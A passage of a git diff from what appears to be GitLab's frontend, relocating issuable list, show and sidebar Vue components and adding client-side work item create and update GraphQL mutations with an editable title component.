+ : this.checkedIssuables[id].checked,
+ // We're caching issuable reference here
+ // for ease of populating in `bulkEditIssuables`.
+ issuable,
+ };
+ return acc;
+ }, {});
+ },
+ urlParams: {
+ deep: true,
+ immediate: true,
+ handler(params) {
+ if (Object.keys(params).length) {
+ updateHistory({
+ url: setUrlParams(params, window.location.href, true, false, true),
+ title: document.title,
+ replace: true,
+ });
+ }
+ },
+ },
+ },
+ methods: {
+ issuableId(issuable) {
+ return getIdFromGraphQLId(issuable.id) || issuable.iid || uniqueId();
+ },
+ issuableChecked(issuable) {
+ return this.checkedIssuables[this.issuableId(issuable)]?.checked;
+ },
+ handleIssuableCheckedInput(issuable, value) {
+ this.checkedIssuables[this.issuableId(issuable)].checked = value;
+ this.$emit('update-legacy-bulk-edit');
+ },
+ handleAllIssuablesCheckedInput(value) {
+ Object.keys(this.checkedIssuables).forEach((issuableId) => {
+ this.checkedIssuables[issuableId].checked = value;
+ });
+ this.$emit('update-legacy-bulk-edit');
+ },
+ handleVueDraggableUpdate({ newIndex, oldIndex }) {
+ this.$emit('reorder', { newIndex, oldIndex });
+ },
+ },
+};
+</script>
+
+<template>
+ <div class="issuable-list-container">
+ <issuable-tabs
+ :tabs="tabs"
+ :tab-counts="tabCounts"
+ :current-tab="currentTab"
+ @click="$emit('click-tab', $event)"
+ >
+ <template #nav-actions>
+ <slot name="nav-actions"></slot>
+ </template>
+ </issuable-tabs>
+ <filtered-search-bar
+ :namespace="namespace"
+ :recent-searches-storage-key="recentSearchesStorageKey"
+ :search-input-placeholder="searchInputPlaceholder"
+ :tokens="searchTokens"
+ :sort-options="sortOptions"
+ :initial-filter-value="initialFilterValue"
+ :initial-sort-by="initialSortBy"
+ :show-checkbox="showBulkEditSidebar"
+ :checkbox-checked="allIssuablesChecked"
+ class="gl-flex-grow-1 gl-border-t-none row-content-block"
+ data-qa-selector="issuable_search_container"
+ @checked-input="handleAllIssuablesCheckedInput"
+ @onFilter="$emit('filter', $event)"
+ @onSort="$emit('sort', $event)"
+ />
+ <gl-alert v-if="error" variant="danger" @dismiss="$emit('dismiss-alert')">{{ error }}</gl-alert>
+ <issuable-bulk-edit-sidebar :expanded="showBulkEditSidebar">
+ <template #bulk-edit-actions>
+ <slot name="bulk-edit-actions" :checked-issuables="bulkEditIssuables"></slot>
+ </template>
+ <template #sidebar-items>
+ <slot name="sidebar-items" :checked-issuables="bulkEditIssuables"></slot>
+ </template>
+ </issuable-bulk-edit-sidebar>
+ <ul v-if="issuablesLoading" class="content-list">
+ <li v-for="n in skeletonItemCount" :key="n" class="issue gl-px-5! gl-py-5!">
+ <gl-skeleton-loading />
+ </li>
+ </ul>
+ <template v-else>
+ <component
+ :is="issuablesWrapper"
+ v-if="issuables.length > 0"
+ class="content-list issuable-list issues-list"
+ :class="{ 'manual-ordering': isManualOrdering }"
+ v-bind="$options.vueDraggableAttributes"
+ @update="handleVueDraggableUpdate"
+ >
+ <issuable-item
+ v-for="issuable in issuables"
+ :key="issuableId(issuable)"
+ :class="{ 'gl-cursor-grab': isManualOrdering }"
+ data-qa-selector="issuable_container"
+ :data-qa-issuable-title="issuable.title"
+ :issuable-symbol="issuableSymbol"
+ :issuable="issuable"
+ :enable-label-permalinks="enableLabelPermalinks"
+ :label-filter-param="labelFilterParam"
+ :show-checkbox="showBulkEditSidebar"
+ :checked="issuableChecked(issuable)"
+ @checked-input="handleIssuableCheckedInput(issuable, $event)"
+ >
+ <template #reference>
+ <slot name="reference" :issuable="issuable"></slot>
+ </template>
+ <template #author>
+ <slot name="author" :author="issuable.author"></slot>
+ </template>
+ <template #timeframe>
+ <slot name="timeframe" :issuable="issuable"></slot>
+ </template>
+ <template #status>
+ <slot name="status" :issuable="issuable"></slot>
+ </template>
+ <template #statistics>
+ <slot name="statistics" :issuable="issuable"></slot>
+ </template>
+ </issuable-item>
+ </component>
+ <slot v-else name="empty-state"></slot>
+ </template>
+
+ <div v-if="showPaginationControls && useKeysetPagination" class="gl-text-center gl-mt-3">
+ <gl-keyset-pagination
+ :has-next-page="hasNextPage"
+ :has-previous-page="hasPreviousPage"
+ @next="$emit('next-page')"
+ @prev="$emit('previous-page')"
+ />
+ </div>
+ <gl-pagination
+ v-else-if="showPaginationControls"
+ :per-page="defaultPageSize"
+ :total-items="totalItems"
+ :value="currentPage"
+ :prev-page="previousPage"
+ :next-page="nextPage"
+ align="center"
+ class="gl-pagination gl-mt-3"
+ @input="$emit('page-change', $event)"
+ />
+ </div>
+</template>
diff --git a/app/assets/javascripts/vue_shared/issuable/list/components/issuable_tabs.vue b/app/assets/javascripts/vue_shared/issuable/list/components/issuable_tabs.vue
new file mode 100644
index 00000000000..3ff87ba3c4f
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/issuable/list/components/issuable_tabs.vue
@@ -0,0 +1,67 @@
+<script>
+import { GlTabs, GlTab, GlBadge } from '@gitlab/ui';
+
+export default {
+ components: {
+ GlTabs,
+ GlTab,
+ GlBadge,
+ },
+ props: {
+ tabs: {
+ type: Array,
+ required: true,
+ },
+ tabCounts: {
+ type: Object,
+ required: false,
+ default: null,
+ },
+ currentTab: {
+ type: String,
+ required: true,
+ },
+ },
+ methods: {
+ isTabActive(tabName) {
+ return tabName === this.currentTab;
+ },
+ isTabCountNumeric(tab) {
+ return Number.isInteger(this.tabCounts[tab.name]);
+ },
+ },
+};
+</script>
+
+<template>
+ <div class="top-area">
+ <gl-tabs
+ class="gl-display-flex gl-flex-grow-1 gl-p-0 gl-m-0 mobile-separator issuable-state-filters"
+ nav-class="gl-border-b-0"
+ >
+ <gl-tab
+ v-for="tab in tabs"
+ :key="tab.id"
+ :active="isTabActive(tab.name)"
+ @click="$emit('click', tab.name)"
+ >
+ <template #title>
+ <span :title="tab.titleTooltip" :data-qa-selector="`${tab.name}_issuables_tab`">
+ {{ tab.title }}
+ </span>
+ <gl-badge
+ v-if="tabCounts && isTabCountNumeric(tab)"
+ variant="muted"
+ size="sm"
+ class="gl-tab-counter-badge"
+ >
+ {{ tabCounts[tab.name] }}
+ </gl-badge>
+ </template>
+ </gl-tab>
+ </gl-tabs>
+ <div class="nav-controls">
+ <slot name="nav-actions"></slot>
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/issuable_list/constants.js b/app/assets/javascripts/vue_shared/issuable/list/constants.js
index 773ad0f8e93..773ad0f8e93 100644
--- a/app/assets/javascripts/issuable_list/constants.js
+++ b/app/assets/javascripts/vue_shared/issuable/list/constants.js
diff --git a/app/assets/javascripts/issuable_show/components/issuable_body.vue b/app/assets/javascripts/vue_shared/issuable/show/components/issuable_body.vue
index 05dc1650379..05dc1650379 100644
--- a/app/assets/javascripts/issuable_show/components/issuable_body.vue
+++ b/app/assets/javascripts/vue_shared/issuable/show/components/issuable_body.vue
diff --git a/app/assets/javascripts/issuable_show/components/issuable_description.vue b/app/assets/javascripts/vue_shared/issuable/show/components/issuable_description.vue
index f57b5b2deb4..f57b5b2deb4 100644
--- a/app/assets/javascripts/issuable_show/components/issuable_description.vue
+++ b/app/assets/javascripts/vue_shared/issuable/show/components/issuable_description.vue
diff --git a/app/assets/javascripts/issuable_show/components/issuable_discussion.vue b/app/assets/javascripts/vue_shared/issuable/show/components/issuable_discussion.vue
index 5858af6cc51..5858af6cc51 100644
--- a/app/assets/javascripts/issuable_show/components/issuable_discussion.vue
+++ b/app/assets/javascripts/vue_shared/issuable/show/components/issuable_discussion.vue
diff --git a/app/assets/javascripts/issuable_show/components/issuable_edit_form.vue b/app/assets/javascripts/vue_shared/issuable/show/components/issuable_edit_form.vue
index 33dca3e9332..33dca3e9332 100644
--- a/app/assets/javascripts/issuable_show/components/issuable_edit_form.vue
+++ b/app/assets/javascripts/vue_shared/issuable/show/components/issuable_edit_form.vue
diff --git a/app/assets/javascripts/issuable_show/components/issuable_header.vue b/app/assets/javascripts/vue_shared/issuable/show/components/issuable_header.vue
index d7da533d055..d7da533d055 100644
--- a/app/assets/javascripts/issuable_show/components/issuable_header.vue
+++ b/app/assets/javascripts/vue_shared/issuable/show/components/issuable_header.vue
diff --git a/app/assets/javascripts/vue_shared/issuable/show/components/issuable_show_root.vue b/app/assets/javascripts/vue_shared/issuable/show/components/issuable_show_root.vue
new file mode 100644
index 00000000000..8849af2a52e
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/issuable/show/components/issuable_show_root.vue
@@ -0,0 +1,162 @@
+<script>
+import IssuableSidebar from '~/vue_shared/issuable/sidebar/components/issuable_sidebar_root.vue';
+
+import IssuableBody from './issuable_body.vue';
+import IssuableDiscussion from './issuable_discussion.vue';
+import IssuableHeader from './issuable_header.vue';
+
+export default {
+ components: {
+ IssuableSidebar,
+ IssuableHeader,
+ IssuableBody,
+ IssuableDiscussion,
+ },
+ props: {
+ issuable: {
+ type: Object,
+ required: true,
+ },
+ statusBadgeClass: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ statusIcon: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ enableEdit: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ enableAutocomplete: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ enableAutosave: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
+ enableZenMode: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
+ enableTaskList: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ editFormVisible: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ showFieldTitle: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ descriptionPreviewPath: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ descriptionHelpPath: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ taskCompletionStatus: {
+ type: Object,
+ required: false,
+ default: null,
+ },
+ taskListUpdatePath: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ taskListLockVersion: {
+ type: Number,
+ required: false,
+ default: 0,
+ },
+ },
+ methods: {
+ handleKeydownTitle(e, issuableMeta) {
+ this.$emit('keydown-title', e, issuableMeta);
+ },
+ handleKeydownDescription(e, issuableMeta) {
+ this.$emit('keydown-description', e, issuableMeta);
+ },
+ },
+};
+</script>
+
+<template>
+ <div class="issuable-show-container" data-qa-selector="issuable_show_container">
+ <issuable-header
+ :status-badge-class="statusBadgeClass"
+ :status-icon="statusIcon"
+ :blocked="issuable.blocked"
+ :confidential="issuable.confidential"
+ :created-at="issuable.createdAt"
+ :author="issuable.author"
+ :task-completion-status="taskCompletionStatus"
+ >
+ <template #status-badge>
+ <slot name="status-badge"></slot>
+ </template>
+ <template #header-actions>
+ <slot name="header-actions"></slot>
+ </template>
+ </issuable-header>
+
+ <issuable-body
+ :issuable="issuable"
+ :status-badge-class="statusBadgeClass"
+ :status-icon="statusIcon"
+ :enable-edit="enableEdit"
+ :enable-autocomplete="enableAutocomplete"
+ :enable-autosave="enableAutosave"
+ :enable-zen-mode="enableZenMode"
+ :enable-task-list="enableTaskList"
+ :edit-form-visible="editFormVisible"
+ :show-field-title="showFieldTitle"
+ :description-preview-path="descriptionPreviewPath"
+ :description-help-path="descriptionHelpPath"
+ :task-list-update-path="taskListUpdatePath"
+ :task-list-lock-version="taskListLockVersion"
+ @edit-issuable="$emit('edit-issuable', $event)"
+ @task-list-update-success="$emit('task-list-update-success', $event)"
+ @task-list-update-failure="$emit('task-list-update-failure')"
+ @keydown-title="handleKeydownTitle"
+ @keydown-description="handleKeydownDescription"
+ >
+ <template #status-badge>
+ <slot name="status-badge"></slot>
+ </template>
+ <template #edit-form-actions="actionsProps">
+ <slot name="edit-form-actions" v-bind="actionsProps"></slot>
+ </template>
+ </issuable-body>
+
+ <issuable-discussion>
+ <template #discussion>
+ <slot name="discussion"></slot>
+ </template>
+ </issuable-discussion>
+
+ <issuable-sidebar>
+ <template #right-sidebar-items="{ sidebarExpanded, toggleSidebar }">
+ <slot name="right-sidebar-items" v-bind="{ sidebarExpanded, toggleSidebar }"></slot>
+ </template>
+ </issuable-sidebar>
+ </div>
+</template>
diff --git a/app/assets/javascripts/issuable_show/components/issuable_title.vue b/app/assets/javascripts/vue_shared/issuable/show/components/issuable_title.vue
index b96ce0c43f7..b96ce0c43f7 100644
--- a/app/assets/javascripts/issuable_show/components/issuable_title.vue
+++ b/app/assets/javascripts/vue_shared/issuable/show/components/issuable_title.vue
diff --git a/app/assets/javascripts/issuable_show/constants.js b/app/assets/javascripts/vue_shared/issuable/show/constants.js
index 346f45c7d90..346f45c7d90 100644
--- a/app/assets/javascripts/issuable_show/constants.js
+++ b/app/assets/javascripts/vue_shared/issuable/show/constants.js
diff --git a/app/assets/javascripts/pages/projects/labels/event_hub.js b/app/assets/javascripts/vue_shared/issuable/show/event_hub.js
index e31806ad199..e31806ad199 100644
--- a/app/assets/javascripts/pages/projects/labels/event_hub.js
+++ b/app/assets/javascripts/vue_shared/issuable/show/event_hub.js
diff --git a/app/assets/javascripts/issuable_sidebar/components/issuable_sidebar_root.vue b/app/assets/javascripts/vue_shared/issuable/sidebar/components/issuable_sidebar_root.vue
index 99dcccd12ed..99dcccd12ed 100644
--- a/app/assets/javascripts/issuable_sidebar/components/issuable_sidebar_root.vue
+++ b/app/assets/javascripts/vue_shared/issuable/sidebar/components/issuable_sidebar_root.vue
diff --git a/app/assets/javascripts/issuable_sidebar/constants.js b/app/assets/javascripts/vue_shared/issuable/sidebar/constants.js
index 4f4b6341a1c..4f4b6341a1c 100644
--- a/app/assets/javascripts/issuable_sidebar/constants.js
+++ b/app/assets/javascripts/vue_shared/issuable/sidebar/constants.js
diff --git a/app/assets/javascripts/vue_shared/mixins/issuable.js b/app/assets/javascripts/vue_shared/mixins/issuable.js
deleted file mode 100644
index fab0919d96e..00000000000
--- a/app/assets/javascripts/vue_shared/mixins/issuable.js
+++ /dev/null
@@ -1,14 +0,0 @@
-export default {
- props: {
- issuableType: {
- required: true,
- type: String,
- },
- },
-
- computed: {
- issuableDisplayName() {
- return this.issuableType.replace(/_/g, ' ');
- },
- },
-};
diff --git a/app/assets/javascripts/vue_shared/security_configuration/components/manage_via_mr.vue b/app/assets/javascripts/vue_shared/security_configuration/components/manage_via_mr.vue
index 42272c222fc..d1630c9ac13 100644
--- a/app/assets/javascripts/vue_shared/security_configuration/components/manage_via_mr.vue
+++ b/app/assets/javascripts/vue_shared/security_configuration/components/manage_via_mr.vue
@@ -85,7 +85,7 @@ export default {
);
},
i18n: {
- buttonLabel: s__('SecurityConfiguration|Configure via Merge Request'),
+ buttonLabel: s__('SecurityConfiguration|Configure with a merge request'),
noSuccessPathError: s__(
'SecurityConfiguration|%{featureName} merge request creation mutation failed',
),
diff --git a/app/assets/javascripts/vue_shared/security_reports/graphql/fragments/job_artifacts.fragment.graphql b/app/assets/javascripts/vue_shared/security_reports/graphql/fragments/job_artifacts.fragment.graphql
index ae77a2ce5e4..829b9d9f9d8 100644
--- a/app/assets/javascripts/vue_shared/security_reports/graphql/fragments/job_artifacts.fragment.graphql
+++ b/app/assets/javascripts/vue_shared/security_reports/graphql/fragments/job_artifacts.fragment.graphql
@@ -1,6 +1,8 @@
fragment JobArtifacts on Pipeline {
+ id
jobs(securityReportTypes: $reportTypes) {
nodes {
+ id
name
artifacts {
nodes {
diff --git a/app/assets/javascripts/vue_shared/security_reports/graphql/queries/security_report_merge_request_download_paths.query.graphql b/app/assets/javascripts/vue_shared/security_reports/graphql/queries/security_report_merge_request_download_paths.query.graphql
index 4ce13827da2..2e80db30e9a 100644
--- a/app/assets/javascripts/vue_shared/security_reports/graphql/queries/security_report_merge_request_download_paths.query.graphql
+++ b/app/assets/javascripts/vue_shared/security_reports/graphql/queries/security_report_merge_request_download_paths.query.graphql
@@ -4,11 +4,14 @@ query securityReportDownloadPaths(
$reportTypes: [SecurityReportTypeEnum!]
) {
project(fullPath: $projectPath) {
+ id
mergeRequest(iid: $iid) {
+ id
headPipeline {
id
jobs(securityReportTypes: $reportTypes) {
nodes {
+ id
name
artifacts {
nodes {
diff --git a/app/assets/javascripts/vue_shared/security_reports/graphql/queries/security_report_pipeline_download_paths.query.graphql b/app/assets/javascripts/vue_shared/security_reports/graphql/queries/security_report_pipeline_download_paths.query.graphql
index e1f3c55a886..e4f0c392b91 100644
--- a/app/assets/javascripts/vue_shared/security_reports/graphql/queries/security_report_pipeline_download_paths.query.graphql
+++ b/app/assets/javascripts/vue_shared/security_reports/graphql/queries/security_report_pipeline_download_paths.query.graphql
@@ -2,8 +2,8 @@
query getPipelineCorpuses($projectPath: ID!, $iid: ID, $reportTypes: [SecurityReportTypeEnum!]) {
project(fullPath: $projectPath) {
+ id
pipeline(iid: $iid) {
- id
...JobArtifacts
}
}
diff --git a/app/assets/javascripts/work_items/components/item_title.vue b/app/assets/javascripts/work_items/components/item_title.vue
new file mode 100644
index 00000000000..5e9e50a94f0
--- /dev/null
+++ b/app/assets/javascripts/work_items/components/item_title.vue
@@ -0,0 +1,71 @@
+<script>
+import { escape } from 'lodash';
+import { __ } from '~/locale';
+
+export default {
+ props: {
+ initialTitle: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ placeholder: {
+ type: String,
+ required: false,
+ default: __('Add a title...'),
+ },
+ disabled: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ data() {
+ return {
+ title: this.initialTitle,
+ };
+ },
+ methods: {
+ getSanitizedTitle(inputEl) {
+ const { innerText } = inputEl;
+ return escape(innerText);
+ },
+ handleBlur({ target }) {
+ this.$emit('title-changed', this.getSanitizedTitle(target));
+ },
+ handleInput({ target }) {
+ this.$emit('title-input', this.getSanitizedTitle(target));
+ },
+ handleSubmit() {
+ this.$refs.titleEl.blur();
+ },
+ },
+};
+</script>
+
+<template>
+ <h2
+ class="gl-font-weight-normal gl-sm-font-weight-bold gl-my-5 gl-display-inline-block"
+ :class="{ 'gl-cursor-not-allowed': disabled }"
+ data-testid="title"
+ aria-labelledby="item-title"
+ >
+ <span
+ id="item-title"
+ ref="titleEl"
+ role="textbox"
+ :aria-label="__('Title')"
+ :data-placeholder="placeholder"
+ :contenteditable="!disabled"
+ class="gl-pseudo-placeholder"
+ @blur="handleBlur"
+ @keyup="handleInput"
+ @keydown.enter.exact="handleSubmit"
+ @keydown.ctrl.u.prevent
+ @keydown.meta.u.prevent
+ @keydown.ctrl.b.prevent
+ @keydown.meta.b.prevent
+ >{{ title }}</span
+ >
+ </h2>
+</template>
diff --git a/app/assets/javascripts/work_items/graphql/create_work_item.mutation.graphql b/app/assets/javascripts/work_items/graphql/create_work_item.mutation.graphql
new file mode 100644
index 00000000000..2f302dae7d7
--- /dev/null
+++ b/app/assets/javascripts/work_items/graphql/create_work_item.mutation.graphql
@@ -0,0 +1,18 @@
+#import './widget.fragment.graphql'
+
+mutation createWorkItem($input: LocalCreateWorkItemInput) {
+ localCreateWorkItem(input: $input) @client {
+ workItem {
+ id
+ type
+ widgets {
+ nodes {
+ ...WidgetBase
+ ... on LocalTitleWidget {
+ contentText
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/work_items/graphql/fragmentTypes.json b/app/assets/javascripts/work_items/graphql/fragmentTypes.json
index c048ac34ac0..3b837e84ee9 100644
--- a/app/assets/javascripts/work_items/graphql/fragmentTypes.json
+++ b/app/assets/javascripts/work_items/graphql/fragmentTypes.json
@@ -1 +1 @@
-{"__schema":{"types":[{"kind":"INTERFACE","name":"WorkItemWidget","possibleTypes":[{"name":"TitleWidget"}]}]}}
+{"__schema":{"types":[{"kind":"INTERFACE","name":"LocalWorkItemWidget","possibleTypes":[{"name":"LocalTitleWidget"}]}]}}
diff --git a/app/assets/javascripts/work_items/graphql/provider.js b/app/assets/javascripts/work_items/graphql/provider.js
index 083735336ce..fb536a425c0 100644
--- a/app/assets/javascripts/work_items/graphql/provider.js
+++ b/app/assets/javascripts/work_items/graphql/provider.js
@@ -4,6 +4,7 @@ import { IntrospectionFragmentMatcher } from 'apollo-cache-inmemory';
import createDefaultClient from '~/lib/graphql';
import workItemQuery from './work_item.query.graphql';
import introspectionQueryResultData from './fragmentTypes.json';
+import { resolvers } from './resolvers';
import typeDefs from './typedefs.graphql';
const fragmentMatcher = new IntrospectionFragmentMatcher({
@@ -13,15 +14,12 @@ const fragmentMatcher = new IntrospectionFragmentMatcher({
export function createApolloProvider() {
Vue.use(VueApollo);
- const defaultClient = createDefaultClient(
- {},
- {
- cacheConfig: {
- fragmentMatcher,
- },
- typeDefs,
+ const defaultClient = createDefaultClient(resolvers, {
+ cacheConfig: {
+ fragmentMatcher,
},
- );
+ typeDefs,
+ });
defaultClient.cache.writeQuery({
query: workItemQuery,
@@ -30,14 +28,14 @@ export function createApolloProvider() {
},
data: {
workItem: {
- __typename: 'WorkItem',
+ __typename: 'LocalWorkItem',
id: '1',
type: 'FEATURE',
widgets: {
- __typename: 'WorkItemWidgetConnection',
+ __typename: 'LocalWorkItemWidgetConnection',
nodes: [
{
- __typename: 'TitleWidget',
+ __typename: 'LocalTitleWidget',
type: 'TITLE',
enabled: true,
// eslint-disable-next-line @gitlab/require-i18n-strings
diff --git a/app/assets/javascripts/work_items/graphql/resolvers.js b/app/assets/javascripts/work_items/graphql/resolvers.js
index e69de29bb2d..63d5234d083 100644
--- a/app/assets/javascripts/work_items/graphql/resolvers.js
+++ b/app/assets/javascripts/work_items/graphql/resolvers.js
@@ -0,0 +1,58 @@
+import { uuids } from '~/lib/utils/uuids';
+import workItemQuery from './work_item.query.graphql';
+
+export const resolvers = {
+ Mutation: {
+ localCreateWorkItem(_, { input }, { cache }) {
+ const id = uuids()[0];
+ const workItem = {
+ __typename: 'LocalWorkItem',
+ type: 'FEATURE',
+ id,
+ widgets: {
+ __typename: 'LocalWorkItemWidgetConnection',
+ nodes: [
+ {
+ __typename: 'LocalTitleWidget',
+ type: 'TITLE',
+ enabled: true,
+ contentText: input.title,
+ },
+ ],
+ },
+ };
+
+ cache.writeQuery({ query: workItemQuery, variables: { id }, data: { workItem } });
+
+ return {
+ __typename: 'LocalCreateWorkItemPayload',
+ workItem,
+ };
+ },
+
+ localUpdateWorkItem(_, { input }, { cache }) {
+ const workItemTitle = {
+ __typename: 'LocalTitleWidget',
+ type: 'TITLE',
+ enabled: true,
+ contentText: input.title,
+ };
+ const workItem = {
+ __typename: 'LocalWorkItem',
+ type: 'FEATURE',
+ id: input.id,
+ widgets: {
+ __typename: 'LocalWorkItemWidgetConnection',
+ nodes: [workItemTitle],
+ },
+ };
+
+ cache.writeQuery({ query: workItemQuery, variables: { id: input.id }, data: { workItem } });
+
+ return {
+ __typename: 'LocalUpdateWorkItemPayload',
+ workItem,
+ };
+ },
+ },
+};
diff --git a/app/assets/javascripts/work_items/graphql/typedefs.graphql b/app/assets/javascripts/work_items/graphql/typedefs.graphql
index 4a6e4aeed60..177eea00322 100644
--- a/app/assets/javascripts/work_items/graphql/typedefs.graphql
+++ b/app/assets/javascripts/work_items/graphql/typedefs.graphql
@@ -1,38 +1,60 @@
-enum WorkItemType {
+enum LocalWorkItemType {
FEATURE
}
-enum WidgetType {
+enum LocalWidgetType {
TITLE
}
-interface WorkItemWidget {
- type: WidgetType!
+interface LocalWorkItemWidget {
+ type: LocalWidgetType!
}
# Replicating Relay connection type for client schema
-type WorkItemWidgetEdge {
+type LocalWorkItemWidgetEdge {
cursor: String!
- node: WorkItemWidget
+ node: LocalWorkItemWidget
}
-type WorkItemWidgetConnection {
- edges: [WorkItemWidgetEdge]
- nodes: [WorkItemWidget]
+type LocalWorkItemWidgetConnection {
+ edges: [LocalWorkItemWidgetEdge]
+ nodes: [LocalWorkItemWidget]
pageInfo: PageInfo!
}
-type TitleWidget implements WorkItemWidget {
- type: WidgetType!
+type LocalTitleWidget implements LocalWorkItemWidget {
+ type: LocalWidgetType!
contentText: String!
}
-type WorkItem {
+type LocalWorkItem {
id: ID!
- type: WorkItemType!
- widgets: [WorkItemWidgetConnection]
+ type: LocalWorkItemType!
+ widgets: [LocalWorkItemWidgetConnection]
+}
+
+input LocalCreateWorkItemInput {
+ title: String!
+}
+
+input LocalUpdateWorkItemInput {
+ id: ID!
+ title: String
+}
+
+type LocalCreateWorkItemPayload {
+ workItem: LocalWorkItem!
+}
+
+type LocalUpdateWorkItemPayload {
+ workItem: LocalWorkItem!
}
extend type Query {
- workItem(id: ID!): WorkItem!
+ workItem(id: ID!): LocalWorkItem!
+}
+
+extend type Mutation {
+ localCreateWorkItem(input: LocalCreateWorkItemInput!): LocalCreateWorkItemPayload!
+ localUpdateWorkItem(input: LocalUpdateWorkItemInput!): LocalUpdateWorkItemPayload!
}
diff --git a/app/assets/javascripts/work_items/graphql/update_work_item.mutation.graphql b/app/assets/javascripts/work_items/graphql/update_work_item.mutation.graphql
new file mode 100644
index 00000000000..f0563f099b2
--- /dev/null
+++ b/app/assets/javascripts/work_items/graphql/update_work_item.mutation.graphql
@@ -0,0 +1,18 @@
+#import './widget.fragment.graphql'
+
+mutation updateWorkItem($input: LocalUpdateWorkItemInput) {
+ localUpdateWorkItem(input: $input) @client {
+ workItem {
+ id
+ type
+ widgets {
+ nodes {
+ ...WidgetBase
+ ... on LocalTitleWidget {
+ contentText
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/work_items/graphql/widget.fragment.graphql b/app/assets/javascripts/work_items/graphql/widget.fragment.graphql
index d7608c26052..154367dc0d8 100644
--- a/app/assets/javascripts/work_items/graphql/widget.fragment.graphql
+++ b/app/assets/javascripts/work_items/graphql/widget.fragment.graphql
@@ -1,3 +1,3 @@
-fragment WidgetBase on WorkItemWidget {
+fragment WidgetBase on LocalWorkItemWidget {
type
}
diff --git a/app/assets/javascripts/work_items/graphql/work_item.query.graphql b/app/assets/javascripts/work_items/graphql/work_item.query.graphql
index 549e4f8c65a..9f173f7c302 100644
--- a/app/assets/javascripts/work_items/graphql/work_item.query.graphql
+++ b/app/assets/javascripts/work_items/graphql/work_item.query.graphql
@@ -7,7 +7,7 @@ query WorkItem($id: ID!) {
widgets {
nodes {
...WidgetBase
- ... on TitleWidget {
+ ... on LocalTitleWidget {
contentText
}
}
diff --git a/app/assets/javascripts/work_items/pages/create_work_item.vue b/app/assets/javascripts/work_items/pages/create_work_item.vue
new file mode 100644
index 00000000000..12bad5606d4
--- /dev/null
+++ b/app/assets/javascripts/work_items/pages/create_work_item.vue
@@ -0,0 +1,71 @@
+<script>
+import { GlButton, GlAlert } from '@gitlab/ui';
+import createWorkItemMutation from '../graphql/create_work_item.mutation.graphql';
+
+import ItemTitle from '../components/item_title.vue';
+
+export default {
+ components: {
+ GlButton,
+ GlAlert,
+ ItemTitle,
+ },
+ data() {
+ return {
+ title: '',
+ error: false,
+ };
+ },
+ methods: {
+ async createWorkItem() {
+ try {
+ const response = await this.$apollo.mutate({
+ mutation: createWorkItemMutation,
+ variables: {
+ input: {
+ title: this.title,
+ },
+ },
+ });
+
+ const {
+ data: {
+ localCreateWorkItem: {
+ workItem: { id },
+ },
+ },
+ } = response;
+ this.$router.push({ name: 'workItem', params: { id } });
+ } catch {
+ this.error = true;
+ }
+ },
+ handleTitleInput(title) {
+ this.title = title;
+ },
+ },
+};
+</script>
+
+<template>
+ <form @submit.prevent="createWorkItem">
+ <gl-alert v-if="error" variant="danger" @dismiss="error = false">{{
+ __('Something went wrong when creating a work item. Please try again')
+ }}</gl-alert>
+ <item-title data-testid="title-input" @title-input="handleTitleInput" />
+ <div class="gl-bg-gray-10 gl-py-5 gl-px-6">
+ <gl-button
+ variant="confirm"
+ :disabled="title.length === 0"
+ class="gl-mr-3"
+ data-testid="create-button"
+ type="submit"
+ >
+ {{ __('Create') }}
+ </gl-button>
+ <gl-button type="button" data-testid="cancel-button" @click="$router.go(-1)">
+ {{ __('Cancel') }}
+ </gl-button>
+ </div>
+ </form>
+</template>
diff --git a/app/assets/javascripts/work_items/pages/work_item_root.vue b/app/assets/javascripts/work_items/pages/work_item_root.vue
index 493ee0aba01..479274baf3a 100644
--- a/app/assets/javascripts/work_items/pages/work_item_root.vue
+++ b/app/assets/javascripts/work_items/pages/work_item_root.vue
@@ -1,8 +1,16 @@
<script>
+import { GlAlert } from '@gitlab/ui';
import workItemQuery from '../graphql/work_item.query.graphql';
+import updateWorkItemMutation from '../graphql/update_work_item.mutation.graphql';
import { widgetTypes } from '../constants';
+import ItemTitle from '../components/item_title.vue';
+
export default {
+ components: {
+ ItemTitle,
+ GlAlert,
+ },
props: {
id: {
type: String,
@@ -12,6 +20,7 @@ export default {
data() {
return {
workItem: null,
+ error: false,
};
},
apollo: {
@@ -29,20 +38,39 @@ export default {
return this.workItem?.widgets?.nodes?.find((widget) => widget.type === widgetTypes.title);
},
},
+ methods: {
+ async updateWorkItem(title) {
+ try {
+ await this.$apollo.mutate({
+ mutation: updateWorkItemMutation,
+ variables: {
+ input: {
+ id: this.id,
+ title,
+ },
+ },
+ });
+ } catch {
+ this.error = true;
+ }
+ },
+ },
};
</script>
<template>
<section>
+ <gl-alert v-if="error" variant="danger" @dismiss="error = false">{{
+ __('Something went wrong while updating work item. Please try again')
+ }}</gl-alert>
<!-- Title widget placeholder -->
<div>
- <h2
+ <item-title
v-if="titleWidgetData"
- class="gl-font-weight-normal gl-sm-font-weight-bold gl-my-5"
+ :initial-title="titleWidgetData.contentText"
data-testid="title"
- >
- {{ titleWidgetData.contentText }}
- </h2>
+ @title-changed="updateWorkItem"
+ />
</div>
</section>
</template>
diff --git a/app/assets/javascripts/work_items/router/routes.js b/app/assets/javascripts/work_items/router/routes.js
index a3cf44ad4ca..95772bbd026 100644
--- a/app/assets/javascripts/work_items/router/routes.js
+++ b/app/assets/javascripts/work_items/router/routes.js
@@ -1,7 +1,12 @@
export const routes = [
{
+ path: '/new',
+ name: 'createWorkItem',
